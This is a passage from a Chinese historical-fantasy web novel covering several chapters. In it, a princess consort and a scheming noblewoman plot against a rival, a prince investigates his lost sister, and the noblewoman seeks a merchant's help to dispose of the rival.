对于轩辕翰对自己非一般的冷漠,梅汐媛显然至今都无计可施,这个男人,总是让她患得患失,远远比她想象中的要难对付地多,她甚至很多时候都有些气馁。 然陆天骄却故作一副神秘地说:“同在一个屋檐下,抬头不见低头见,机会总归是有的,就看姐姐能不能把握住了。” “看样子,难不成…妹妹有办法?如此,愿闻妹妹其详。若是真的能让姐姐为殿下诞下个一男半女,自古都是母凭子贵,相信到时候姐姐一定能够劝动殿下收妹妹做侧妃,如了妹妹的愿的,如何?”梅汐媛终于变得安静了下来,迫切地信誓旦旦道。 这时,陆天骄反倒不紧不慢地瞥向了室内尚还怯怯跪着的一地奴婢,梅汐媛见了忙厉声道:“你们都起来吧!看在陆小姐的份上,今日本王妃暂且饶了你们。倘若日后里再犯,定不轻饶。” “谢王妃娘娘开恩,奴婢们谢陆小姐。” 明明是陆天骄先挑起的事端,如今却是收获了这许多下人的人心,其心叵测,可见一斑。 待众人朝其致谢起身后,陆天骄却顿时一副紧张兮兮地样子对梅汐媛说:“姐姐,关于母凭子贵的事,这个我们慢慢再从长计议,有道是‘留着青山在,不怕没柴烧’。不过,眼下有一件更颇为紧急的事,尤为棘手,不得不抓紧处理。” “哦?是何事?”梅汐媛惊诧地看着陆天骄的眼睛道。 陆天骄顿了顿,深吸口气说道:“姐姐,方才我见到殿下刚回到府里又匆匆忙忙出门了?姐姐可知道发生了何事?” “殿下回来过?何时回来的?”作为秦王府女主人的梅汐媛竟根本都尚还不知轩辕翰曾经回来过。 陆天骄叹了口气,无奈地道:“姐姐,你要多花些心思在殿下的身上才是 第二百八十四章:听天由命吧! 梅汐媛承认,她是恨极了为何这个世上会存在着让自己如此为难的一个人? 可真的要让她死,她还真的下不了如此狠绝的心。毕竟,那可是嫡母后留在这个世上唯一的血脉,她只是想要她永远不要威胁到自己所拥有的一切便可。 这时,陆天骄闻声惊讶地瞪着她的脸,不解道:“怎么,你不想她死?” “我……”梅汐媛一脸难色,吞吞吐吐道。 陆天骄忿忿道:“难道你即便此时,都还搞不清楚状况吗?只要那个贱蹄子一日不死,殿下便永远都不会正眼瞧你一眼,到时候,你又如何母凭子贵?就算你放下公主的自尊,脱光了贴上去,殿下也绝不会碰你一根指头。你心里不会不清楚,殿下既然有能以秦王府名义悬赏在整个灵空大陆里寻她的决定,便证明他心里是有多在乎那个贱人。你是不是非要等到她母凭子贵的那一天,方才彻底清醒过来!” 这番被如此挑明了的话一出,算是终于彻底触动了梅汐媛那根敏感的神经和自尊,点燃了压抑在其心间的所有怒火,亦粉碎了她心底最后那一丝丝理智。 只见她一边听,一边蹙眉紧紧地咬起牙根来,眼里噙满的尽是熊熊燃烧着的怒火,继而被隐藏在衣袖里牢牢握起的两只绣拳霎时间猛地抬起一把将案几上的所有器皿大力地掀翻在地,噼里啪啦碎了一地,兀自声嘶力竭地扬声怒吼道:“我不要,我不要,我不要……” 顿时,韶华阁里的婢女们里里外外全都吓得跪了一地。 见此,陆天骄方才长长地舒了口气,嘴角窃窃地露出一抹邪笑。 默了许久,梅汐媛从未如此冷厉渗人的一个眼神忽然斜向陆天骄的脸,沉声问了句:“你打算要怎么做?” 陆天骄哼笑一声,漫不经心地道:“哼...妹妹心中自是已有了打算,姐姐不必过虑。作为你我之间的交易,妹妹自会想尽办法替姐姐分忧,除去一切绊脚石的。我就不信,我陆天骄,斗不过她一个恶名远扬的废柴丑女,姐姐只管等着看好戏吧!这次,妹妹定让她万劫不复,叫天天不应,叫地地不灵,死无葬身之地!” 陆天骄走后,梅汐媛依旧一动不动痴痴地愣坐着。下人们想要收拾这一地狼籍,也都被她一一全部喝令了下去。 不知为什么,一丝丝哀伤夹杂着恐惧从她的心里渐渐渗了出来,又一寸寸地流经她的全身,似是在慢慢地吞噬着她的力量。 忽然间,她觉得整个人都好累好累,似是从未都这般累过,于是想要起身去躺一会儿,这才发现自己根本就站不住,挣扎了许久,起身来只踉跄了不过两步,便重重地跌坐在了地上。 于是,她不禁顺势用双手抱着头伏在腿上,紧咬 着那张温软的红唇,只觉得此刻眼泪直在眼眶里打转,而最终还是被自己硬给逼了回去。 正在埋头默想着,突然听到头顶一个尤为关切和吃惊的声音响起说:“王妃娘娘这是怎么了?怎么还在发抖呢?” 然她却并未抬头去看,只觉那人又蹲身了下来将自己搀扶起,而自己只如同一缕游魂般轻飘飘又不知不觉中便被扶到了软榻上坐起。 又静了一小会儿,只觉得周围到处乱哄哄一片,夹杂着瓷器碎片互相碰撞的声音,还有教训谩骂的声音混杂在一起乱作一团…… 稍时,扶她起身的人再次朝她走了回来,似是忽觉得有些不对,便忙伸手将她的头微微抬起,顿时脸上一惊,大声问道:“王妃娘娘怎么把嘴唇给咬出血了?这到底是怎么了?” 于是,那人忙掏出帕子来坐在其身旁小心翼翼地一边替其擦拭,一边紧张担心地都已哽咽了起来,道:“王妃娘娘你倒是说话呀,一直这么憋着,是会把身子给憋坏的!” 终于,梅汐媛渐渐看清了眼前一脸忧色的人,缓缓回过了神来,却是心中滋味甚是复杂,盯了她一会儿,继而猛地抬手抱住了她的脖子,趴在其肩上失声痛哭了起来。 那人心疼地轻抚着她的背说:“哭吧,哭吧,哭出来就好了!” 不知过了多久,室内的闲杂人等皆都陆陆续续地退了下去。 梅汐媛似是也已平复了些许下来,哽咽着道:“赵嬷嬷,她没有死,她竟还活着,她真的还活着!” “王妃是说三殿下说的那个丫头?”赵嬷嬷闻声,心里忽然咯噔一下,似是都不敢相信自己的耳朵。 梅汐媛终于缓缓松开了手,吸了吸鼻子,兀自一边拭泪一边端坐起身来点了点头道:“陆天骄说她就在桃花店村,秦王殿下...已经赶去寻了。” 见此,赵嬷嬷先是愣了一下,又默了会儿,问道:“那王妃打算怎么办?如此一来,是不是还要和陆小姐继续合作?还是...将这消息派人通知给三殿下,让他来定夺?” 陆天骄可并不是盏省油的灯,好不容易主仆俩抓住了其把柄,打算借此将她彻底打发掉,可就在这节骨眼上,怎么死人又复活了? 然就前不久,梅汐媛在城南城隍庙里和梅志煊的一番差点儿撕破脸的争执至今都还历历在目。此时,赵嬷嬷不知梅汐媛现在究竟会如何选择。 &n 第二百八十五章:不如,一起合作吧! 侍卫一进门便看到了吹落在地的两张字,忙上前去将其拾起,近身到梅志煊的身旁道:“殿下至今还未参透这几句话吗?” 闻声,梅志煊方才回过神来,缓缓踱步到书案边坐下,对着面前案上摆着的两张字,默了会儿,只冷声问道:“父皇那边还未来信吗?” 侍卫这才急急将怀里揣着的一封密信拿了出来,双手恭敬奉上,道:“这是刚刚收到的消息,殿下请过目!” 梅志煊将信接过展开,快速地浏览了一遍,才刚刚放下,那侍卫便一脸欣喜地朝其拱手恭贺道:“恭喜殿下,贺喜殿下,殿下终于要大婚了!” 不想,梅志煊闻此脸上却并无一丝喜色与动容,侍卫即刻变作一脸尴尬地收了声。 俩人一起沉默了会儿,梅志煊拿起信来将其置于烛火上,即刻化为了灰烬。 见此,侍卫似是忽然记起了什么,忙开口道:“对了,殿下让属下查的事,属下已经……” 岂料话刚开口,梅志煊顿时扬起一只手来示意其收声,继而无厘头地扬声说了句:“出来吧!不要再躲了!” 即刻,门口屋檐下忽然似是从天而降一袭紫红色长袍,单手附后,三千墨发用一只精致的白玉簪半束着的挺拔背影来。 待其缓缓转过身来时,方见其鬓间两缕微带蜷曲的青丝洋洋洒洒地垂下,那张俊朗的脸上竟长了一对细长的桃花眼,全身尽显一副妖艳和恣意随性之姿态。 见此,侍卫慌忙抽出了腰间明晃晃的佩剑,将其横在自己面前,作应战之势准备保护身后的主人。 然梅志煊却在其身后轻描淡写地嘴角里扬出一抹浅笑,道:“你退下吧,他若想出手,就是几十个你也拦不住。” “可是,殿下……”侍卫似是还想争辩些什么。 梅志煊却认真地坚持道:“退下吧!” 侍卫终是无奈地收起剑来大步退了出去。 侍卫离去,梅志煊便一边起身来朝着一旁的茶座上踱步过去落座下,一边头也不抬地对其轻蔑道:“南安太子,既然来了,就进来坐下一起喝杯茶歇歇吧,连着好几晚趴人屋顶的滋味想必也一定不好受吧!” 闻此,易君浩挑了挑眉,倒是步履极为坦然地一步跨过门槛来。 迈步到屋内,驻足玉立着环视了周围一圈,见冷冷清清,唯有烛火摇曳,香炉里散发出的香烟袅袅升起着,眼睛不禁只在那琉璃瓶里正起舞变色的神蝶上多滞留了稍时,继而便亦撩起袍角来随意地落座在茶座的客位上,梅志煊的对面道:“三皇子早就发现了?” 梅志煊微微含笑,一边煮水泡茶,一边道:“怎么,太子殿下也是前来恭贺本皇子大婚在即的吗?” 易君浩抽了抽嘴角,露出 一抹不屑的笑,即是明人,亦无需暗语,便兀自直奔主题道:“原来你就是东宁国三皇子梅志煊,你为何要将丫头从城西衣府拐带到万娇阁里?对她有何居心?” 梅志煊闻此,却并未直接回答他这个疑问,而且漫不经心地一边继续手里的动作,一边反倒谈起他曾经的另一问题来:“太子殿下不是很想知道本皇子为何来西秦吗?” 易君浩注视着他的眼睛,想到方才那侍卫恭维的话及目前各国的局势,稍作思量,顿时露出一脸不怀好意的轻蔑笑容来挑衅其道:“是因为西秦公主?没想到温润如玉又英勇善战的三皇子殿下也终究难逃脱一场政治联姻啊!不过,看来东宁对西秦国里所存在的那股神秘力量颇为感兴趣啊!为了它,竟让尊贵无比的公主和皇子先后皆都为此而双双献身,实在是令人佩服,佩服!” 岂料梅志煊却一点儿也不为其言语挑衅所动容,只哼笑一声,一边将刚刚冲泡好的茶汤向易君浩面前递了过去,一边幽幽道:“没错,本皇子的确是因为公主之事才留在了西秦,但却不是为了那西秦公主,而是为了我东宁国一出生便遗失在西秦已有17年之多的嫡公主。” 闻此,易君浩即刻间朝其瞪大了那双如十里春风般迷人的桃花眼,惊声道:“东宁嫡公主,难道不是传闻中深受东宁国君尤为疼爱,如今已身为西秦秦王妃的永乐公主吗?” 梅志煊依旧浅浅笑着,却不再说话,只兀自一口接一口地轻抿起手中的茶汤来。 易君浩亦一边品茗,一边望着俩人面前那壶不停翻滚着的热水入神地默默独自想了会儿,原来那永乐公主不是东宁国嫡皇后所生,这便是说,东宁国如今的皇后乃是一继后。17年,17岁,这怎么可能呢? 忽然,他的心里有个让他惊诧不止的念想浮了出来,继而猛地抬起头来甚觉不可思议地道:“你的意思是说,你怀疑丫头便是你们东宁国遗失在西秦国17年的嫡公主?” “当年,嫡母后正值有孕在身临产在即,不知为何,突然有一日里非要坚持来西秦国,任谁都劝她不下。然不想,那一别竟成了生死永别!有朝一日,若是让本皇子查到是谁对嫡母后下的毒手,本皇子一定叫她生不如死!”梅志煊握紧双拳置于膝头,信誓旦旦地忿忿道。 &n 第二百八十六章:本是无忧少年郎 易君浩跟随着梅志煊的脚步走到书案边,顺着他手指方向,伸出一双大且骨节分明又细长的手来将案上铺着的两张字轻轻拿起来靠近烛火颇为认真的一一默念了一遍。 “真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生。” “小店桃花红粉姿,陌头杨柳绿烟丝。” 继而缓缓抬眼看向梅志煊的脸,故作一脸疑惑不解地问:“这是?” “太子有所不知,这是本皇子从一位看似高深莫测的青袍道长处所听来的,觉得话里似是大有玄机,然却至今都未能将其参透。不知太子殿下对此可有何见解?”梅志煊单手附后着立在其身旁苦道。 易君浩闻此,心中顿时一愣,兀自又将目光再次收回落到其手里那一纸苍劲有力的字迹上,表面看似仍在琢磨,实则心里却在暗暗定夺着:“我到底该不该将城隍庙里的事告诉他呢?素闻东宁国富甲一方,兵强马壮,是目前灵空大陆四国里最具实力的一个。而那东宁老国君已然大势已去,这梅志煊年少有为,风度翩翩,俨然比那传说中奢靡又荒淫无度的二皇子更适合继位做一位明君。如今,他也要大婚了,如若真如老和尚对此话所解,该不会他与那西秦公主便是那能有统一灵空大陆四国之强大力量的龙与凤吧!?” 正在思量着,一旁的梅志煊见其半晌都不说话,便在其耳边轻唤了两声:“太子殿下,太子殿下……” 易君浩蓦然抬眼朝其看去,只见梅志煊望了眼窗外,继而淡淡对其笑着道:“夜已深了,不如太子殿下今日先就此安歇吧。这个我们日后再慢慢讨论亦不迟,只是寻人的事,须得太子殿下务必放在心上抓紧了才是,可好?” “也好!”易君浩想了想说道,顺势将手里的字放回到书案上。 这时,梅志煊扬声唤来了门外的守卫:“来人,带太子殿下去歇息,好生伺候着!” “是”推门而入的两名身着一袭黑衣劲装,墨发全束,腰间佩剑的侍卫,其中一名随易君浩一起踱步了出去。 剩下的另一梅志煊的近身侍卫则快步过去将门轻掩上,尔后又折回到了其身旁沉声问道:“殿下,您真的决定要与那南安太子合作吗?” 烛火下,只见梅志煊的脸上顿时半点笑容都不挂,他并未回答侍卫心里的疑惑,只是双手负后着渐渐半眯起那双深邃的炯目来看着易君浩放回到书案上的字,露出一脸的深不可测…… 是夜。 经过一番马不停蹄的奔波劳碌,龙恩也终于风尘仆仆地一路向北穿越了西秦与南安的边境,到达了位于西秦最南的边境地带处,西秦国乃至整个灵空大陆最有名的学府——西秦学院。 西秦学院坐北朝 南,乃一傍山而建的山林胜地,书院大门是一座双层飞檐单门,门上高悬着气势磅礴的“西秦书院”四字横额。 学院建筑皆为清一色的白墙青瓦,门前古树垂荫,溪水轻吟。整座书院显得幽静无比,亦颇为庄严肃穆,苍翠欲滴的参天古树间掩映着一座座历经沧桑见证的楼阁庭院。 而在西秦学院侧门的东南方,左翼山下有一凉亭,其周围崖石峻峭,涧水湍急。 此时,龙恩便正是独自坐在其里面的石凳上一边闭目养神,一边耐心等候着一个很重要的人的出现。 一阵温柔的风吹过,恍恍惚惚间,一缕思念浮起,遂自己过去这半生中的所有颠沛流离,血雨腥风与辛酸苦楚一幕幕亦不禁浮上了心头。若不是此时这里如此安静,他似是差点儿都快要将此忘记了,可又怎么会真的忘记。 原来,自己曾经也是一个虽出生于平凡普通甚至有些拮据度日的山间穷书生家,倒也过的是无忧无虑,不乏是个有爹娘百般疼爱的少年郎。 儿时的记忆里,爹娘之间亦永远都是那般地相敬如宾,举案齐眉,起早共描眉,恩爱两不疑,似是从来都未红过脸,大声说过话,一家人颇为幸福与满足地生活在一起。 所谓“学优而登仕,摄职从政”,其后来所有一切的不幸,都源于爹爹的一场科举考试。 因为没有重金送礼给考官,便被人顶替了名额,爹爹一怒之下找那昏官理论,岂料自己却又多挨了几十板子,被人抬着送回到家中。 见此,平日里大门不出二门不迈的年轻娇美娘亲亦是气不过,复去替爹爹讨个公道,岂料却就此再也没能回来,音信全无。 待到爹爹身上的伤稍微好了些,刚能下床来,便一心执意要去找娘亲。却是数日后,竟被人发现曝尸在荒野之中,险剩下一堆白骨。 可怜就此本甜蜜幸福的一家人,独剩下一个仅仅七八岁的孩子,从此无依无靠,成了一个沿街乞讨,艰难度日,有今日无明日的小乞丐。 直到有一天,有一位看起来似是颇有来头的陌生男子于街角发现了在冰天雪地里正瑟瑟发抖的他。便带他去了他从未见过的豪华酒楼里,给了他从未有过的好吃好喝。 不仅如此,还悉心安派人教他读书,习字,练武…… 那一刻,他竟恍然感觉自己似是一缕即将奔赴向黄泉之路的游魂一般,一定是他快要死掉了,才会有如此幸福地极不真实的感觉。 第二百八十七章:怕是苦肉计 寿伯从身上掏出一封信来递到了龙恩面前,道:“少主人先看看这个吧,这是宫里交待老奴给少主人特意备下的。” “这是什么?”龙恩一边纳闷着将寿伯手里的信接过很快拆了开来,只见那张纸上竟是一恍若天仙般的妙龄女子画像。 寿伯小心谨慎地朝四处里打量了下,压低声音严肃地道:“这是西秦学院陆贤刚刚修复完成的西秦守护者画像,少主人应该听说过,‘得此力量者得天下’。所以,当下少主人最打紧的事便是应竭力尽快将这女子给找出来据为己有,占了这先机,好使其到时候能助少主人您一臂之力……” “西秦守护者...真的没死?她竟是一个女子?”龙恩将目光聚集落在手里的女子画像上一边认真端详着,一边听了寿伯的话,一时间忽然猛地抬起头来朝其瞪大了眼睛惊呆了。 寿伯默默地点了点头,兀自又开口继续道:“如今,被修复好的守护者画像已被送到了宫里,皇上已经命人在各处全力搜寻其下落,就连秦王也已经开始行动了。所以,少主人要比他们更快将其找出来才是啊!如果守护者真的先落到了他们手里,怕是我们就很难对其动手了!” 闻此,俩人一起陷入了各自沉沉的思绪当中。 许久后,龙恩方才缓缓回过神来将画像折叠起收好,便兀自起身来向其道别:“既然如此,我这就回去立刻派人四处去打探,一定会在他们之前先拥有守护者力量的,寿伯保重,告辞!” 然刚迈开没两步,又驻足停了下来转身对其浅笑着说道:“对了,桌上放着的一坛甚好的女儿红,是酒坊最新制的佳酿珍品,寿伯尝尝吧!” 话一说完,便头再也不回的大步下了山去。 寿伯起身来走到凉亭边上,目送望着其渐去渐远,最后终于慢慢消失在一片沉沉夜色中的高大背影,深深地叹了口气,又摇了摇头。便回去石桌边抱起那坛酒与匣子来,又步履蹒跚地朝着西秦学院里回了去。 刚一摸黑进入到学院里自己的房内,将房门从里面插上,正准备收拾收拾便就歇下了。 “咚咚咚”忽然一阵叩门声响起。 他一边问了句“谁啊?”,一边疾步过去开门。 这时,门外传来一温文尔雅的男子声音,道:“请问寿伯可是歇下了?” 打开门一看,忙对着门外的来人惊声道:“陆院长,这么晚了,您...您怎么到咱们下人的屋里来了?快快快,快请进屋坐!” 陆贤一边被请进到屋内坐下,一边故作唉声叹气的试探道:“唉,这几日里,天麟和天骄这俩个孩子都不在学院里,老夫总是不放心,便就睡不着。方才起身来在各处随便走了走,见只有你屋内的灯 还亮着,便过来瞧瞧你。平日里学院诸事繁多,也从未顾得上对你关切半句。不知这几年,寿伯在学院里的一切可都还习惯?若是有什么需要,尽管对老夫说便是,老夫一定竭尽所能。” 寿伯一边捧着碗热水过来恭敬地朝陆贤双手奉上,一边立在其身旁含笑着道:“陆院长平日里那么忙,没想到还关心我们这些下人的生活琐事,真是太难得了。老奴在这里过的很好,衣食住行皆都无忧,多谢陆院长关怀。” 见着寿伯腿脚不好,又还一直站着说话,陆贤忙朝其劝道:“这里又没有外人,寿伯腿脚不好,你坐下说话便是,无须多礼。” 闻此,寿伯倒也没有再推辞,一边在其身旁坐下,一边向其致谢:“老奴多谢陆院长体恤。” 陆贤笑了笑,忽然问道:“对了,不知寿伯来西秦学院已有多久了?” 岂料寿伯脱口即出:“至今已经有八个年头了。” 闻此,陆贤嗖的一下,顿时看向了寿伯那张布满伪善与和蔼的脸,故作一副吃惊地扬声道:“已经八年了?!原来寿伯可真谓是学院的老人儿了啊,这八年里,真是辛苦你了!” “应该的,应该的。八年前,若不是小姐好心将老奴在半路中带回到学院里,还安排了个轻松的差事,老奴怕是早就不得久活于人世了,又岂会有今日!所以,这辈子老奴也不会离开学院的,学院便是老奴唯一的家。”寿伯的演技亦确实不错,话语诚恳地不得不令人信服。 陆贤一边含笑暗自打量着他,忽然目光落到了其腿上,看来看去,不知道为何,总是感觉哪里有些不对劲,便问道:“对了,寿伯的腿是怎么回事呢?” 闻此,寿伯忙附手上去在膝盖处一边摩挲,一边叹了口气苦道:“唉,年轻的时候干活做工,不小心被重物给撞了,家里又穷没钱看大夫,便随便找了个人给瞧了瞧,谁想越治却越差,后来也就放弃了。” 陆贤忙道:“老夫也略懂医术,不妨让老夫帮你看看,如何?” 闻此,寿伯倒似是一点儿也不心虚的样子,坦然说道:“如此,那就有劳院长了!只是时隔多年,应该是没救了!” “有没有救,都得先看看再说,若是还能救,岂不更好。到时候,寿伯还能好好走走看看这大好河山呢,又何必将自己的一辈子圈在这里,整日与这些花花草草绑在一起白白消磨这好时光呢! 第二百八十八章:岩间九龙腾四海 冰冷的漫漫长夜,天幕的一角,一轮清冷固执的残月挣扎着总不舍得落去,贪婪的高高悬于云霞翠轩窗外的枯枝头上。 窗内,伊人掘强地坚守着自己的重重心事,心里碎碎念所期盼着那个生命里似乎注定可望而不可及的人。 这一切,到底是世事弄人,还是庸人自扰之,如今都早已模糊了概念,只知道自己早已深陷其中,不能自拔。 时光荏苒,又有谁知道这已经是第多少个夜里,伊人如此彻夜难眠地盼望着新一天黎明的曙光能快点儿到来。 而终于,朝舒夜卷,在东方的天边处渐渐露出一抹鱼肚白的颜色来,继而整片天空很快便亦跟着现出那如同少女绯红的脸颊一般的颜色来,直至大亮,鸟儿开始放声歌唱,勤劳的人们亦开始了崭新一天的劳作与生活。 此时,秦王府里,赵嬷嬷脚步匆匆忙忙地朝着韶华阁梅汐媛的寝室方向踱步而来。 人尚还未至,催促的声音便已响起:“还未伺候王妃娘娘起来梳妆吗?” 守夜的婢女缓缓睁开朦朦胧胧的睡眼,揉了揉眼睛,方才懒懒地回道:“回嬷嬷的话,王妃娘娘尚还未传召梳洗!” 闻此,赵嬷嬷顿时看似一脸着急的样子,在门口来回踱起方步来,偶尔还叹息着几声。 然只不过稍时,似是真的等不及的样子,便正欲朝里面开口说话,岂料里面竟传出柔软的一声道:“是赵嬷嬷吗?可是有什么重要的事情要禀?都进来伺候吧!” 于是,门前立马便现出了一群手里捧着各式梳洗用器具的婢女,依次排着整齐的队伍进到了寝室里去。 梅汐媛这才被伺候着从榻上下来,披着一头乌亮的青丝三千,挪身坐到了一面精致的菱花镜前,被这屋内霎时现出的许多如花儿一般娇嫩的女子伺候梳洗打扮起来。 这时,梅汐媛方才一边在镜子里端详打量自己,一边问道:“今儿一大早的,赵嬷嬷怎么这么急的来找本王妃?究竟所为何事?” 赵嬷嬷上前一边替其筚头发,一边神神秘秘地开口道:“王妃娘娘,今儿早起,老奴看到陆小姐天刚一亮,便鬼鬼祟祟地溜出了秦王府去……” 未及其将话讲完,梅汐媛却似一点儿也不好奇地带了很多轻蔑地口气道:“她是殿下的师妹,亦是秦王府的常客,自是一向都可以自由出入王府,这有什么好奇的。许是,她又贪嘴街上哪家的粗食了吧!唉,由她去吧,看来本王妃陪嫁来的东宁御厨,竟还比不上西秦国街上的那些难以下咽的小店,她也真不愧是贱骨头一个!” 赵嬷嬷道:“王妃娘娘有所不知,老奴见她鬼鬼祟祟的,便命人悄悄在她后面跟了去,刚才收到消息回来说,陆小姐去了…四海茶 庄!” “什么?她真的去了那里!”闻此,梅汐媛顿时抬起眼来一个惊声道,刚刚精心挑选好捏在手里的一支玉兰簪子砰的一声从手中滑落下来。 “那…接下来,我们该怎么办?探消息的人回来说,四海茶庄只限有身份地位的人进入,一般人根本无法靠近。”赵嬷嬷一边替其将滑落的玉兰簪子捡起插上发髻,一边一脸难色地道。 梳妆终于完成,梅汐媛一边检查妆容,一边好奇地问:“看来这四海茶庄的派头果然不小嘛,究竟是何来头,可有查到了些什么?” 赵嬷嬷这才想起了一大早所收到的信息,便忙将身上的一封信掏了出来递上,道:“王妃娘娘请过目,这是昨儿个您一交代,老奴便安排人去查的结果。仅短短不过大半月的时间,便能使一即将面临关门的酒楼起死回生摇身成为整个京城里的一号茶庄,想必这茶庄如今的正主一定不简单。” 梅汐媛将信看完,心中颇为震惊,没想到区区北烈国一个小小的野蛮商人,竟也能有如此本事,倒是完全颠覆了她对北烈乃蛮夷之邦,不懂风趣的一贯认知。 听着耳旁赵嬷嬷的话,她不禁挑了挑眉,兀自又渐渐半眯起那双明眸来,一脸悠长地对其吩咐道:“赵嬷嬷,备车,本王妃忽然间对这个四海茶庄颇感兴趣,想要亲自去体验体验这个号称京城的一号茶庄,看它究竟有何奇妙之处!” “是,老奴这就下去准备。” …… 话说伊人陆天骄自从昨日说服了梅汐媛,这次势必一定要取了衣上云的性命后,便因此而彻夜未眠。 辗转反侧地苦思冥想了一整夜,最后她终于想到了一个可以帮自己做这件大事的最佳人选。 于是,天刚一亮,她便迫不及待地出门上了一辆马车。 果然,对于四海茶庄的大名已是无人不知,无人不晓,绕了不知多少条街,约摸着有一个多时辰车程的样子,车子终于停在了城中商家店铺林立,最繁华的一条街道上。 下车抬起头来一看,一座看起来让人感觉甚是素雅,清心的两层铺面便顿时现在了其面前。 只见临街边的门楣上悬着一长方形匾额,上面雕刻着黑底镏金的“四海茶庄”四个颇具气势的大字,庄重堂皇。底下两侧门面上的茶联书的是“岩间九龙腾四海,茶中圣品味一流。” 但当她惊诧又好奇地默默走上石阶,一跨过高高的门坎进入到店铺内后,顿时所有嘈杂浮躁竟都被关到了门外,静雅至 第二百八十九章:终于等到你 三两口精致的菜肴入腹,拓跋泽随即举起酒盏来,深情款款道:“在下也算是终于有幸等到陆小姐肯赏脸光顾寒舍了,其实,陆小姐有所不知,自打从在城南那晚第一次与小姐相遇之后,在下便已期盼着有一日能与小姐共进一餐了。岂料后来……” 拓跋泽说着说着停了下来,深叹了口气,又继续道:“在下还以为,此生再也见不到小姐了呢!” 话音刚落,陆天骄拭了拭嘴角,继而扬起微笑来,对其赞叹说道:“公子这何止是寒舍啊,说它简直就是人间天堂,琼楼玉宇亦不为过。想不到距离你我上次一别短短不过大半月的时间,公子竟便撑起这京城里无人不知的一号茶庄来,这可是史无前例的呀!” 见拓跋泽不住地含笑摇头,陆天骄继续道:“不止这装修气派豪华的门面,方才我可是在外面将那些客座的达官显贵们清清楚楚的看在眼里了。公子如今又何必在我面前谦虚至此呢?看起来,似乎元宵节之夜,我曾说要帮衬公子留在西秦里重振旗鼓,着实是天骄大言不惭了才对。” 拓跋泽直笑着摇头,道:“呵呵,这都是托这酒楼之前掌柜的福,方才有了这些老客源。加之在下又略微擅长些茶道,便在其原来基础上,稍作整改,成为了如今这座‘四海茶庄’。实则,只不过是借原酒楼这块儿宝地,用了一点小心思,与其原来的掌柜一起合作经营罢了,陆小姐真的是谬赞了。” 一番寒暄客套后,陆天骄也终于算是知道了面前的这个人为何会如此神通广大。 于是,她双手缓缓捧起面前的那盅香郁的九龙茶来,变作一脸诚恳地对其温婉道:“其实,在城南的那次偶遇后,原本我也以为与公子只是萍水相逢,此生再无交集……不过,没想到在我最孤独无助,困惑不已的时候还能再次遇到公子,想来这也实属是一种难得的缘份。既然你我同为天下沦落人,天骄又怎么会对身在异乡的公子眼下里的艰难视若无睹呢!不过,今日一见,看公子这四海茶庄的生意做的是有声有色,天骄也就放心了。过去的一切都过去了,我们就都将它忘记了吧,一切重新开始,愿我们都未来可期!” 说着,便以茶代酒先干为敬,而拓跋泽亦抿了抿嘴,微笑着仰头兀自将手里的酒一饮而尽。 然其心里却暗自琢磨着,像陆天骄这样出身名门,心气又高的傲娇小姐,眼里何时曾容下过别人,更何况她还深知自己以前是做那种营生的。他又怎会忘记当初她得知这件事时的恐慌和逃避。而此时,她如此反常的举动,拓跋泽越看越似是预感到了什么一般。 看着案上的稀罕菜色,拓跋泽忽然夹起案上一碟表面看似凹凸不平、状如 蜂窝般的菇类菜品,将其放到了陆天骄的碗碟里,朝其一脸欣喜,饶有兴致的介绍道: “陆小姐请尝尝这道蜂巢菇,别看它虽其貌不扬,却是与松露、松茸齐名,堪比鱼翅燕窝还要稀罕的珍贵食材呢。它可是宴席上名扬天下的珍品,也是久负盛名的一味良药。很多宫廷里都以此来做滋补贡品,其性平、味甘,益肠胃,有独特的保健效果,比冬虫夏草更为养人。这可是当下春天里的第一道山珍呢,在下保证您尝过之后,一辈子都不会忘记它的味道。” 拓跋泽如此热情周到的招待着,然陆天骄却拿起帕子来轻拭了拭嘴角,对着其默了片刻,继而满腹心事又显得极为严肃认真地幽幽说道:“实不相瞒,这次天骄来找公子,除了探望公子之外,还有一事相求,不知公子可否......” 拓跋泽其实早就料到,具体打从第一次与其相遇时便已料到,总有一日,陆天骄一定会亲自上门来求自己。然却未想,竟会如此之快,就在陆天骄话刚说到一半的时候,突然一阵叩门声响起“咚咚咚。” 随即,便见走进来一腰间佩剑的侍卫模样,那侍卫一进门来便兀自朝着拓跋泽身边而去,直接附上其耳边对其低声耳语起来。 只不过须臾,又见拓跋泽对其怔了一下,继而又点了点头,那侍卫便又踱步了出去,将门轻轻掩上。 “公子可是有要事要处理,如此天骄今日便回去了,改日再......” 见此,陆天骄正欲起身来告辞,不料拓跋泽却伸手示意其不必理会,道:“陆小姐请继续说,并不是什么大不了的事。” 见拓跋泽如此淡定,陆天骄心中也着实着急,便又坐实了下去,继续方才的话头道:“其实,这次天骄来找公子,除了探望公子之外,还有一事相求。” “陆小姐何须此言,既然陆小姐当在下是朋友,又何必如此客套,陆小姐的事,便是在下的事,陆小姐有话尽管直说,只要在下能办到的,一定竭尽全力帮到小姐!” 拓跋泽一边替其盛了一碗香滑软糯,由花胶、银耳、莲子、枣干、玉竹、百合、茯苓、红豆所煲成的具有益气补血和养颜功效的雪耳花胶汤,一边豪爽地道。 然陆天骄此时却早已毫无胃口,只见她秀眉蹙起,咬了咬嘴唇,又想了一会儿,终是心一横,炸出一句道:“不知公子可否以最快的速度赶到桃花店村里帮天骄处置一个人?” &n 第二百九十章:蛮夷之地,何来周正之人 “另寻他人?如果在下没猜错的话,陆小姐心思缜密,一定已经盘算地很清楚了吧。一般人怕是绝对没有胆量帮陆小姐做这件事吧!那可是灵空战神秦王昭告天下要寻回的人呢,这秦王若是怪罪下来...到时候...怕是诛灭九族亦不止吧?!”拓跋泽起身绕着她身后走了一圈,边上下打量其边道。话语里,字字见血,句句戳其心间要害。 此话一出,屋里顿时静悄悄的,不知道过了多久,只听到拓跋泽低低的敲桌声音。陆天骄低头站着久久不动,脸上尽是满满的茫不知措,进退两难。 稍时,拓跋泽终是松口说道:“陆大小姐不要急嘛,在下又没说不做,只是......” 听到拓跋泽再次开口,陆天骄心里竟忽然似是有点儿不耐烦了,但还是隐忍着缓缓再次落座了下来,似是忽然间明白了其言语里的几分意思,便对其冷冷地质疑道:“你想要...筹码?...要多少?” 如今一切发展已然始终都在拓跋泽的牢牢掌控之中,他胸有成竹地笑着,半仰起头来道:“这满天下的秦王府寻人告示里,说的可都是若能寻到此人或者提供其下落消息的话,便可以向秦王府提出任何条件。那么,不知陆小姐到底有何比这更重的筹码呢?在下怕,陆小姐是没有付这筹码的能力呢?” 